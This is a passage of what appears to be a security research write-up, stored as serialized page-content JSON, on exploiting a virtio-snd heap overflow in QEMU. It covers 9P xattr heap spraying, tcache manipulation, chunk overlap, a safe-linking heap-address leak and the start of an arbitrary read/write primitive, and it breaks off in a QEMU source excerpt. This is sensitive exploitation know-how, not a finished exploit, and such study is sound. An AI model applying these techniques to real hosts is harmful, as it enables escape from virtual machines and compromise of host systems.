heap objects that we can manage individually.",{"type":24,"tag":25,"props":129861,"children":129862},{},[129863,129865,129870,129872,129878,129880,129886,129888,129894],{"type":29,"value":129864},"Once allocated, we can write arbitrary bytes into the ",{"type":24,"tag":154,"props":129866,"children":129868},{"className":129867},[],[129869],{"type":29,"value":129190},{"type":29,"value":129871}," buffer through a ",{"type":24,"tag":154,"props":129873,"children":129875},{"className":129874},[],[129876],{"type":29,"value":129877},"P9_TWRITE",{"type":29,"value":129879}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":24,"tag":154,"props":129881,"children":129883},{"className":129882},[],[129884],{"type":29,"value":129885},"P9_TREAD",{"type":29,"value":129887},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":24,"tag":154,"props":129889,"children":129891},{"className":129890},[],[129892],{"type":29,"value":129893},"P9_TCLUNK",{"type":29,"value":129895}," request on that same FID.",{"type":24,"tag":25,"props":129897,"children":129898},{},[129899,129901,129907],{"type":29,"value":129900},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":24,"tag":154,"props":129902,"children":129904},{"className":129903},[],[129905],{"type":29,"value":129906},"65536",{"type":29,"value":129908}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":24,"tag":395,"props":129910,"children":129912},{"id":129911},"setting-the-heap-layout",[129913],{"type":29,"value":129914},"Setting the Heap Layout",{"type":24,"tag":25,"props":129916,"children":129917},{},[129918,129920,129925],{"type":29,"value":129919},"Ideally, we want a contiguous heap region consisting only of ",{"type":24,"tag":154,"props":129921,"children":129923},{"className":129922},[],[129924],{"type":29,"value":129190},{"type":29,"value":129926}," allocations, like this:",{"type":24,"tag":147,"props":129928,"children":129930},{"code":129929}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[129931],{"type":24,"tag":154,"props":129932,"children":129933},{"__ignoreMap":7},[129934],{"type":29,"value":129929},{"type":24,"tag":25,"props":129936,"children":129937},{},[129938,129940,129945,129947,129952,129954,129959],{"type":29,"value":129939},"This lets us later create holes by freeing every other ",{"type":24,"tag":154,"props":129941,"children":129943},{"className":129942},[],[129944],{"type":29,"value":129190},{"type":29,"value":129946}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":24,"tag":154,"props":129948,"children":129950},{"className":129949},[],[129951],{"type":29,"value":125538},{"type":29,"value":129953}," field of the next live ",{"type":24,"tag":154,"props":129955,"children":129957},{"className":129956},[],[129958],{"type":29,"value":129190},{"type":29,"value":129960}," chunk.",{"type":24,"tag":25,"props":129962,"children":129963},{},[129964],{"type":29,"value":129965},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":24,"tag":25,"props":129967,"children":129968},{},[129969,129971,129976,129978,129983,129985,129990,129992,129997],{"type":29,"value":129970},"As mentioned earlier, ",{"type":24,"tag":154,"props":129972,"children":129974},{"className":129973},[],[129975],{"type":29,"value":129227},{"type":29,"value":129977}," always allocates two chunks: one for ",{"type":24,"tag":154,"props":129979,"children":129981},{"className":129980},[],[129982],{"type":29,"value":129183},{"type":29,"value":129984}," and one for ",{"type":24,"tag":154,"props":129986,"children":129988},{"className":129987},[],[129989],{"type":29,"value":129190},{"type":29,"value":129991},". We want to avoid having ",{"type":24,"tag":154,"props":129993,"children":129995},{"className":129994},[],[129996],{"type":29,"value":129183},{"type":29,"value":129998}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":24,"tag":1786,"props":130000,"children":130001},{},[130002,130014],{"type":24,"tag":1790,"props":130003,"children":130004},{},[130005,130007,130012],{"type":29,"value":130006},"Make ",{"type":24,"tag":154,"props":130008,"children":130010},{"className":130009},[],[130011],{"type":29,"value":129183},{"type":29,"value":130013}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":24,"tag":1790,"props":130015,"children":130016},{},[130017,130019,130024,130026,130031,130033,130038],{"type":29,"value":130018},"Prepare a separate region whose sole purpose is to absorb ",{"type":24,"tag":154,"props":130020,"children":130022},{"className":130021},[],[130023],{"type":29,"value":129183},{"type":29,"value":130025},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":24,"tag":154,"props":130027,"children":130029},{"className":130028},[],[130030],{"type":29,"value":129183},{"type":29,"value":130032}," allocations from that separate freelist instead of placing them next to our ",{"type":24,"tag":154,"props":130034,"children":130036},{"className":130035},[],[130037],{"type":29,"value":129190},{"type":29,"value":130039}," chunks.",{"type":24,"tag":20134,"props":130041,"children":130043},{"id":130042},"separating-name-allocations",[130044],{"type":29,"value":130045},"Separating .name allocations",{"type":24,"tag":25,"props":130047,"children":130048},{},[130049,130051,130056,130058,130063],{"type":29,"value":130050},"We chose the second option. However, it is not as simple as issuing ",{"type":24,"tag":154,"props":130052,"children":130054},{"className":130053},[],[130055],{"type":29,"value":129227},{"type":29,"value":130057}," for N ",{"type":24,"tag":154,"props":130059,"children":130061},{"className":130060},[],[130062],{"type":29,"value":129183},{"type":29,"value":130064},"-sized allocations and then freeing them.",{"type":24,"tag":25,"props":130066,"children":130067},{},[130068,130070,130075,130076,130081,130082,130087,130089,130094,130096,130101],{"type":29,"value":130069},"At this point, we already know that ",{"type":24,"tag":154,"props":130071,"children":130073},{"className":130072},[],[130074],{"type":29,"value":129227},{"type":29,"value":129977},{"type":24,"tag":154,"props":130077,"children":130079},{"className":130078},[],[130080],{"type":29,"value":129183},{"type":29,"value":129984},{"type":24,"tag":154,"props":130083,"children":130085},{"className":130084},[],[130086],{"type":29,"value":129190},{"type":29,"value":130088},". If we simply call it with ",{"type":24,"tag":154,"props":130090,"children":130092},{"className":130091},[],[130093],{"type":29,"value":129190},{"type":29,"value":130095}," sized the same as ",{"type":24,"tag":154,"props":130097,"children":130099},{"className":130098},[],[130100],{"type":29,"value":129183},{"type":29,"value":130102},", we get a layout like this:",{"type":24,"tag":147,"props":130104,"children":130106},{"code":130105}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[130107],{"type":24,"tag":154,"props":130108,"children":130109},{"__ignoreMap":7},[130110],{"type":29,"value":130105},{"type":24,"tag":25,"props":130112,"children":130113},{},[130114,130116,130121,130123,130129,130131,130137,130139,130144,130146,130151,130153,130158],{"type":29,"value":130115},"With that heap state, issuing a ",{"type":24,"tag":154,"props":130117,"children":130119},{"className":130118},[],[130120],{"type":29,"value":129893},{"type":29,"value":130122}," request would first free ",{"type":24,"tag":154,"props":130124,"children":130126},{"className":130125},[],[130127],{"type":29,"value":130128},".name A",{"type":29,"value":130130}," and then ",{"type":24,"tag":154,"props":130132,"children":130134},{"className":130133},[],[130135],{"type":29,"value":130136},".value A",{"type":29,"value":130138},". When ",{"type":24,"tag":154,"props":130140,"children":130142},{"className":130141},[],[130143],{"type":29,"value":130136},{"type":29,"value":130145}," is freed, the allocator sees that the preceding chunk ",{"type":24,"tag":154,"props":130147,"children":130149},{"className":130148},[],[130150],{"type":29,"value":130128},{"type":29,"value":130152}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":24,"tag":154,"props":130154,"children":130156},{"className":130155},[],[130157],{"type":29,"value":129183},{"type":29,"value":130159},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":24,"tag":25,"props":130161,"children":130162},{},[130163],{"type":29,"value":130164},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":24,"tag":25,"props":130166,"children":130167},{},[130168,130170,130175,130177,130182,130184,130189,130191,130197,130199,130204,130206,130212],{"type":29,"value":130169},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":24,"tag":154,"props":130171,"children":130173},{"className":130172},[],[130174],{"type":29,"value":129183},{"type":29,"value":130176}," allocation remains fixed at size ",{"type":24,"tag":154,"props":130178,"children":130180},{"className":130179},[],[130181],{"type":29,"value":106345},{"type":29,"value":130183},". We first allocate 16 xattrs whose ",{"type":24,"tag":154,"props":130185,"children":130187},{"className":130186},[],[130188],{"type":29,"value":129190},{"type":29,"value":130190}," size is ",{"type":24,"tag":154,"props":130192,"children":130194},{"className":130193},[],[130195],{"type":29,"value":130196},"0x30",{"type":29,"value":130198},". After that, we allocate another 16 xattrs, this time with ",{"type":24,"tag":154,"props":130200,"children":130202},{"className":130201},[],[130203],{"type":29,"value":129190},{"type":29,"value":130205}," size ",{"type":24,"tag":154,"props":130207,"children":130209},{"className":130208},[],[130210],{"type":29,"value":130211},"0x40",{"type":29,"value":130213},", and continue in the same way for each tcache size class.",{"type":24,"tag":25,"props":130215,"children":130216},{},[130217],{"type":29,"value":130218},"This yields the following layout:",{"type":24,"tag":147,"props":130220,"children":130222},{"code":130221}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[130223],{"type":24,"tag":154,"props":130224,"children":130225},{"__ignoreMap":7},[130226],{"type":29,"value":130221},{"type":24,"tag":25,"props":130228,"children":130229},{},[130230,130232,130237,130239,130244,130246,130251,130253,130258,130260,130265,130267,130272,130273,130278,130280,130285,130287,130292,130294,130299,130301,130306,130308,130313],{"type":29,"value":130231},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":24,"tag":154,"props":130233,"children":130235},{"className":130234},[],[130236],{"type":29,"value":129183},{"type":29,"value":130238}," chunks end up in the ",{"type":24,"tag":154,"props":130240,"children":130242},{"className":130241},[],[130243],{"type":29,"value":106345},{"type":29,"value":130245}," tcache bin, along with the interleaved ",{"type":24,"tag":154,"props":130247,"children":130249},{"className":130248},[],[130250],{"type":29,"value":129190},{"type":29,"value":130252}," chunks of size ",{"type":24,"tag":154,"props":130254,"children":130256},{"className":130255},[],[130257],{"type":29,"value":130196},{"type":29,"value":130259},". The next 16 ",{"type":24,"tag":154,"props":130261,"children":130263},{"className":130262},[],[130264],{"type":29,"value":129183},{"type":29,"value":130266}," chunks are interleaved with ",{"type":24,"tag":154,"props":130268,"children":130270},{"className":130269},[],[130271],{"type":29,"value":129190},{"type":29,"value":130252},{"type":24,"tag":154,"props":130274,"children":130276},{"className":130275},[],[130277],{"type":29,"value":130211},{"type":29,"value":130279},"; when freed, those ",{"type":24,"tag":154,"props":130281,"children":130283},{"className":130282},[],[130284],{"type":29,"value":129190},{"type":29,"value":130286}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":24,"tag":154,"props":130288,"children":130290},{"className":130289},[],[130291],{"type":29,"value":129183},{"type":29,"value":130293}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":24,"tag":154,"props":130295,"children":130297},{"className":130296},[],[130298],{"type":29,"value":129183},{"type":29,"value":130300},"-sized chunks that will later be served to the ",{"type":24,"tag":154,"props":130302,"children":130304},{"className":130303},[],[130305],{"type":29,"value":129183},{"type":29,"value":130307}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":24,"tag":154,"props":130309,"children":130311},{"className":130310},[],[130312],{"type":29,"value":129190},{"type":29,"value":130039},{"type":24,"tag":395,"props":130315,"children":130317},{"id":130316},"corrupting-the-size",[130318],{"type":29,"value":130319},"Corrupting the Size",{"type":24,"tag":25,"props":130321,"children":130322},{},[130323,130325,130330,130332,130337,130339,130344,130346,130351,130352,130357],{"type":29,"value":130324},"The input format is guest-controlled, and we choose ",{"type":24,"tag":154,"props":130326,"children":130328},{"className":130327},[],[130329],{"type":29,"value":5082},{"type":29,"value":130331}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":24,"tag":154,"props":130333,"children":130335},{"className":130334},[],[130336],{"type":29,"value":5082},{"type":29,"value":130338}," is centered at ",{"type":24,"tag":154,"props":130340,"children":130342},{"className":130341},[],[130343],{"type":29,"value":30699},{"type":29,"value":130345}," (rather than ",{"type":24,"tag":154,"props":130347,"children":130349},{"className":130348},[],[130350],{"type":29,"value":127445},{"type":29,"value":127432},{"type":24,"tag":154,"props":130353,"children":130355},{"className":130354},[],[130356],{"type":29,"value":127423},{"type":29,"value":130358},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":24,"tag":25,"props":130360,"children":130361},{},[130362,130364,130369],{"type":29,"value":130363},"As we already concluded, ",{"type":24,"tag":154,"props":130365,"children":130367},{"className":130366},[],[130368],{"type":29,"value":126888},{"type":29,"value":130370}," is called with the amount:",{"type":24,"tag":147,"props":130372,"children":130374},{"code":130373},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[130375],{"type":24,"tag":154,"props":130376,"children":130377},{"__ignoreMap":7},[130378],{"type":29,"value":130373},{"type":24,"tag":25,"props":130380,"children":130381},{},[130382,130384,130389,130391,130396],{"type":29,"value":130383},"And as mentioned earlier, ",{"type":24,"tag":154,"props":130385,"children":130387},{"className":130386},[],[130388],{"type":29,"value":126919},{"type":29,"value":130390}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":24,"tag":154,"props":130392,"children":130394},{"className":130393},[],[130395],{"type":29,"value":125538},{"type":29,"value":59599},{"type":24,"tag":25,"props":130398,"children":130399},{},[130400,130402,130407,130409,130414],{"type":29,"value":130401},"With the desired heap layout of repeated ",{"type":24,"tag":154,"props":130403,"children":130405},{"className":130404},[],[130406],{"type":29,"value":129092},{"type":29,"value":130408},"-sized ",{"type":24,"tag":154,"props":130410,"children":130412},{"className":130411},[],[130413],{"type":29,"value":129190},{"type":29,"value":130415}," chunks in place, we can then free every other one:",{"type":24,"tag":147,"props":130417,"children":130419},{"code":130418}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[130420],{"type":24,"tag":154,"props":130421,"children":130422},{"__ignoreMap":7},[130423],{"type":29,"value":130418},{"type":24,"tag":25,"props":130425,"children":130426},{},[130427,130429,130434],{"type":29,"value":130428},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":24,"tag":154,"props":130430,"children":130432},{"className":130431},[],[130433],{"type":29,"value":129190},{"type":29,"value":130435}," chunk directly next to it:",{"type":24,"tag":147,"props":130437,"children":130439},{"code":130438}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[130440],{"type":24,"tag":154,"props":130441,"children":130442},{"__ignoreMap":7},[130443],{"type":29,"value":130438},{"type":24,"tag":25,"props":130445,"children":130446},{},[130447,130449,130454,130456,130461],{"type":29,"value":130448},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":24,"tag":154,"props":130450,"children":130452},{"className":130451},[],[130453],{"type":29,"value":129092},{"type":29,"value":130455},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":24,"tag":154,"props":130457,"children":130459},{"className":130458},[],[130460],{"type":29,"value":129190},{"type":29,"value":130462}," chunk now has a corrupted and likely oversized size field:",{"type":24,"tag":147,"props":130464,"children":130466},{"code":130465}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[130467],{"type":24,"tag":154,"props":130468,"children":130469},{"__ignoreMap":7},[130470],{"type":29,"value":130465},{"type":24,"tag":25,"props":130472,"children":130473},{},[130474,130476,130481],{"type":29,"value":130475},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":24,"tag":154,"props":130477,"children":130479},{"className":130478},[],[130480],{"type":29,"value":129107},{"type":29,"value":225},{"type":24,"tag":147,"props":130483,"children":130485},{"code":130484}," Free\n 0x210-0x2f0\n |\n +------+------+\n Free | | Free\n 0x200 v v 0x200\n+----------+----------+----------+----------+----------+\n|..........| |..........| |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........| |..........| |..........|\n+----------+----------+----------+----------+----------+\n",[130486],{"type":24,"tag":154,"props":130487,"children":130488},{"__ignoreMap":7},[130489],{"type":29,"value":130484},{"type":24,"tag":25,"props":130491,"children":130492},{},[130493,130495,130500],{"type":29,"value":130494},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":24,"tag":154,"props":130496,"children":130498},{"className":130497},[],[130499],{"type":29,"value":129107},{"type":29,"value":21986},{"type":24,"tag":147,"props":130502,"children":130504},{"code":130503}," .value B\n +-------------+\n | |\n v v\n+----------+----------+----------+--+-------+----------+\n| | | |//| | |\n| .value A | .value X | |//| | .value C |\n| | | |//| | |\n+----------+----------+----------+--+-------+----------+\n ^ ^\n | |\n +----------+\n .value Y\n",[130505],{"type":24,"tag":154,"props":130506,"children":130507},{"__ignoreMap":7},[130508],{"type":29,"value":130503},{"type":24,"tag":25,"props":130510,"children":130511},{},[130512,130514,130520],{"type":29,"value":130513},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":24,"tag":154,"props":130515,"children":130517},{"className":130516},[],[130518],{"type":29,"value":130519},"0x400",{"type":29,"value":130521}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":24,"tag":147,"props":130523,"children":130525},{"code":130524}," .value Y extended\n |\n +----------+----------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value B | .value Y | .value C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[130526],{"type":24,"tag":154,"props":130527,"children":130528},{"__ignoreMap":7},[130529],{"type":29,"value":130524},{"type":24,"tag":395,"props":130531,"children":130533},{"id":130532},"leaking-a-heap-address",[130534],{"type":29,"value":130535},"Leaking a Heap Address",{"type":24,"tag":25,"props":130537,"children":130538},{},[130539],{"type":29,"value":130540},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":24,"tag":25,"props":130542,"children":130543},{},[130544,130546,130552],{"type":29,"value":130545},"To do this, we abuse the forward (",{"type":24,"tag":154,"props":130547,"children":130549},{"className":130548},[],[130550],{"type":29,"value":130551},"fd",{"type":29,"value":130553},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":24,"tag":147,"props":130555,"children":130557},{"code":130556},"fd = next ^ (curr >> 12)\n",[130558],{"type":24,"tag":154,"props":130559,"children":130560},{"__ignoreMap":7},[130561],{"type":29,"value":130556},{"type":24,"tag":25,"props":130563,"children":130564},{},[130565,130567,130572,130573,130578],{"type":29,"value":130566},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":24,"tag":154,"props":130568,"children":130570},{"className":130569},[],[130571],{"type":29,"value":58838},{"type":29,"value":816},{"type":24,"tag":154,"props":130574,"children":130576},{"className":130575},[],[130577],{"type":29,"value":55768},{"type":29,"value":130579}," because there is no following entry. In that case, the encoding becomes:",{"type":24,"tag":147,"props":130581,"children":130583},{"code":130582},"fd = 0 ^ (curr >> 12)\n",[130584],{"type":24,"tag":154,"props":130585,"children":130586},{"__ignoreMap":7},[130587],{"type":29,"value":130582},{"type":24,"tag":25,"props":130589,"children":130590},{},[130591,130593,130598],{"type":29,"value":130592},"So if we free a single chunk into an empty tcache bin, its ",{"type":24,"tag":154,"props":130594,"children":130596},{"className":130595},[],[130597],{"type":29,"value":130551},{"type":29,"value":130599}," field is effectively just the chunk address shifted right by 12.",{"type":24,"tag":25,"props":130601,"children":130602},{},[130603],{"type":29,"value":130604},"In the overlap we achieved earlier:",{"type":24,"tag":147,"props":130606,"children":130608},{"code":130607}," .value Y extended\n |\n+--------------------+--------------------+\n| |\n| |\nv v\n+--------------------+--------------------+\n| | |\n| .value Y | .value C |\n| | |\n+--------------------+--------------------+\n",[130609],{"type":24,"tag":154,"props":130610,"children":130611},{"__ignoreMap":7},[130612],{"type":29,"value":130607},{"type":24,"tag":25,"props":130614,"children":130615},{},[130616,130618,130624,130626,130632,130634,130640,130642,130647],{"type":29,"value":130617},"We first free ",{"type":24,"tag":154,"props":130619,"children":130621},{"className":130620},[],[130622],{"type":29,"value":130623},".value C",{"type":29,"value":130625}," into tcache and read its contents through the oversized ",{"type":24,"tag":154,"props":130627,"children":130629},{"className":130628},[],[130630],{"type":29,"value":130631},".value Y",{"type":29,"value":130633},". This gives us ",{"type":24,"tag":154,"props":130635,"children":130637},{"className":130636},[],[130638],{"type":29,"value":130639},".value C >> 12",{"type":29,"value":130641},". That is not yet the exact address of ",{"type":24,"tag":154,"props":130643,"children":130645},{"className":130644},[],[130646],{"type":29,"value":130623},{"type":29,"value":130648},", since the lower 12 bits are lost.",{"type":24,"tag":25,"props":130650,"children":130651},{},[130652,130654,130659,130661,130666,130668,130673,130675,130680],{"type":29,"value":130653},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":24,"tag":154,"props":130655,"children":130657},{"className":130656},[],[130658],{"type":29,"value":130623},{"type":29,"value":130660},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":24,"tag":154,"props":130662,"children":130664},{"className":130663},[],[130665],{"type":29,"value":130623},{"type":29,"value":130667}," again. This time, ",{"type":24,"tag":154,"props":130669,"children":130671},{"className":130670},[],[130672],{"type":29,"value":58838},{"type":29,"value":130674}," is no longer ",{"type":24,"tag":154,"props":130676,"children":130678},{"className":130677},[],[130679],{"type":29,"value":55768},{"type":29,"value":130681},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":24,"tag":147,"props":130683,"children":130684},{"code":130556},[130685],{"type":24,"tag":154,"props":130686,"children":130687},{"__ignoreMap":7},[130688],{"type":29,"value":130556},{"type":24,"tag":25,"props":130690,"children":130691},{},[130692,130694,130700,130702,130707,130709,130714,130716,130721],{"type":29,"value":130693},"Since we already know ",{"type":24,"tag":154,"props":130695,"children":130697},{"className":130696},[],[130698],{"type":29,"value":130699},"curr >> 12",{"type":29,"value":130701}," from the first leak, we can read the new ",{"type":24,"tag":154,"props":130703,"children":130705},{"className":130704},[],[130706],{"type":29,"value":130551},{"type":29,"value":130708}," value from ",{"type":24,"tag":154,"props":130710,"children":130712},{"className":130711},[],[130713],{"type":29,"value":130623},{"type":29,"value":130715}," and recover the exact address of ",{"type":24,"tag":154,"props":130717,"children":130719},{"className":130718},[],[130720],{"type":29,"value":58838},{"type":29,"value":130722}," by reversing the XOR:",{"type":24,"tag":147,"props":130724,"children":130726},{"code":130725},"next = fd ^ (curr >> 12)\n",[130727],{"type":24,"tag":154,"props":130728,"children":130729},{"__ignoreMap":7},[130730],{"type":29,"value":130725},{"type":24,"tag":25,"props":130732,"children":130733},{},[130734],{"type":29,"value":130735},"This gives us the exact address of a heap chunk whose contents we control.",{"type":24,"tag":395,"props":130737,"children":130739},{"id":130738},"arbitrary-read-and-write",[130740],{"type":29,"value":130741},"Arbitrary Read and Write",{"type":24,"tag":25,"props":130743,"children":130744},{},[130745,130747,130752],{"type":29,"value":130746},"Having a controlled chunk at a known address lets us repurpose ",{"type":24,"tag":154,"props":130748,"children":130750},{"className":130749},[],[130751],{"type":29,"value":130623},{"type":29,"value":130753}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":24,"tag":25,"props":130755,"children":130756},{},[130757,130759,130764],{"type":29,"value":130758},"Recall ",{"type":24,"tag":154,"props":130760,"children":130762},{"className":130761},[],[130763],{"type":29,"value":129227},{"type":29,"value":225},{"type":24,"tag":147,"props":130766,"children":130768},{"code":130767,"language":2907,"meta":7,"className":17751,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n uint64_t size;\n V9fsFidState *file_fidp;\n V9fsFidState *xattr_fidp;\n\n [...]\n\n file_fidp = get_fid(pdu, fid);\n\n [...]\n\n /* Make the file fid point to xattr */\n xattr_fidp = file_fidp;\n xattr_fidp->fs.xattr.len = size;\n xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n [...]\n",[130769],{"type":24,"tag":154,"props":130770,"children":130771},{"__ignoreMap":7},[130772,130811,130818,130829,130844,130859,130866,130873,130880,130902,130909,130916,130923,130931,130948,130987,131030,131037],{"type":24,"tag":158,"props":130773,"children":130774},{"class":160,"line":161},[130775,130779,130783,130787,130791,130795,130799,130803,130807],{"type":24,"tag":158,"props":130776,"children":130777},{"style":165},[130778],{"type":29,"value":52316},{"type":24,"tag":158,"props":130780,"children":130781},{"style":165},[130782],{"type":29,"value":52321},{"type":24,"tag":158,"props":130784,"children":130785},{"style":188},[130786],{"type":29,"value":129222},{"type":24,"tag":158,"props":130788,"children":130789},{"style":496},[130790],{"type":29,"value":129227},{"type":24,"tag":158,"props":130792,"children":130793},{"style":188},[130794],{"type":29,"value":504},{"type":24,"tag":158,"props":130796,"children":130797},{"style":165},[130798],{"type":29,"value":52899},{"type":24,"tag":158,"props":130800,"children":130801},{"style":222},[130802],{"type":29,"value":615},{"type":24,"tag":158,"props":130804,"children":130805},{"style":177},[130806],{"type":29,"value":129244},{"type":24,"tag":158,"props":130808,"children":130809},{"style":188},[130810],{"type":29,"value":2125},{"type":24,"tag":158,"props":130812,"children":130813},{"class":160,"line":213},[130814],{"type":24,"tag":158,"props":130815,"children":130816},{"style":188},[130817],{"type":29,"value":1710},{"type":24,"tag":158,"props":130819,"children":130820},{"class":160,"line":238},[130821,130825],{"type":24,"tag":158,"props":130822,"children":130823},{"style":165},[130824],{"type":29,"value":56885},{"type":24,"tag":158,"props":130826,"children":130827},{"style":188},[130828],{"type":29,"value":125880},{"type":24,"tag":158,"props":130830,"children":130831},{"class":160,"line":259},[130832,130836,130840],{"type":24,"tag":158,"props":130833,"children":130834},{"style":188},[130835],{"type":29,"value":129369},{"type":24,"tag":158,"props":130837,"children":130838},{"style":222},[130839],{"type":29,"value":577},{"type":24,"tag":158,"props":130841,"children":130842},{"style":188},[130843],{"type":29,"value":129378},{"type":24,"tag":158,"props":130845,"children":130846},{"class":160,"line":280},[130847,130851,130855],{"type":24,"tag":158,"props":130848,"children":130849},{"style":188},[130850],{"type":29,"value":129369},{"type":24,"tag":158,"props":130852,"children":130853},{"style":222},[130854],{"type":29,"value":577},{"type":24,"tag":158,"props":130856,"children":130857},{"style":188},[130858],{"type":29,"value":129394},{"type":24,"tag":158,"props":130860,"children":130861},{"class":160,"line":301},[130862],{"type":24,"tag":158,"props":130863,"children":130864},{"emptyLinePlaceholder":16},[130865],{"type":29,"value":481},{"type":24,"tag":158,"props":130867,"children":130868},{"class":160,"line":626},[130869],{"type":24,"tag":158,"props":130870,"children":130871},{"style":188},[130872],{"type":29,"value":106079},{"type":24,"tag":158,"props":130874,"children":130875},{"class":160,"line":668},[130876],{"type":24,"tag":158,"props":130877,"children":130878},{"emptyLinePlaceholder":16},[130879],{"type":29,"value":481},{"type":24,"tag":158,"props":130881,"children":130882},{"class":160,"line":676},[130883,130888,130892,130897],{"type":24,"tag":158,"props":130884,"children":130885},{"style":188},[130886],{"type":29,"value":130887}," file_fidp ",{"type":24,"tag":158,"props":130889,"children":130890},{"style":222},[130891],{"type":29,"value":1285},{"type":24,"tag":158,"props":130893,"children":130894},{"style":496},[130895],{"type":29,"value":130896}," get_fid",{"type":24,"tag":158,"props":130898,"children":130899},{"style":188},[130900],{"type":29,"value":130901},"(pdu, fid);\n",{"type":24,"tag":158,"props":130903,"children":130904},{"class":160,"line":684},[130905],{"type":24,"tag":158,"props":130906,"children":130907},{"emptyLinePlaceholder":16},[130908],{"type":29,"value":481},{"type":24,"tag":158,"props":130910,"children":130911},{"class":160,"line":700},[130912],{"type":24,"tag":158,"props":130913,"children":130914},{"style":188},[130915],{"type":29,"value":106079},{"type":24,"tag":158,"props":130917,"children":130918},{"class":160,"line":785},[130919],{"type":24,"tag":158,"props":130920,"children":130921},{"emptyLinePlaceholder":16},[130922],{"type":29,"value":481},{"type":24,"tag":158,"props":130924,"children":130925},{"class":160,"line":1447},[130926],{"type":24,"tag":158,"props":130927,"children":130928},{"style":2588},[130929],{"type":29,"value":130930}," /* Make the file fid point to xattr */\n",{"type":24,"tag":158,"props":130932,"children":130933},{"class":160,"line":1509},[130934,130939,130943],{"type":24,"tag":158,"props":130935,"children":130936},{"style":188},[130937],{"type":29,"value":130938}," xattr_fidp ",{"type":24,"tag":158,"props":130940,"children":130941},{"style":222},[130942],{"type":29,"value":1285},{"type":24,"tag":158,"props":130944,"children":130945},{"style":188},[130946],{"type":29,"value":130947}," 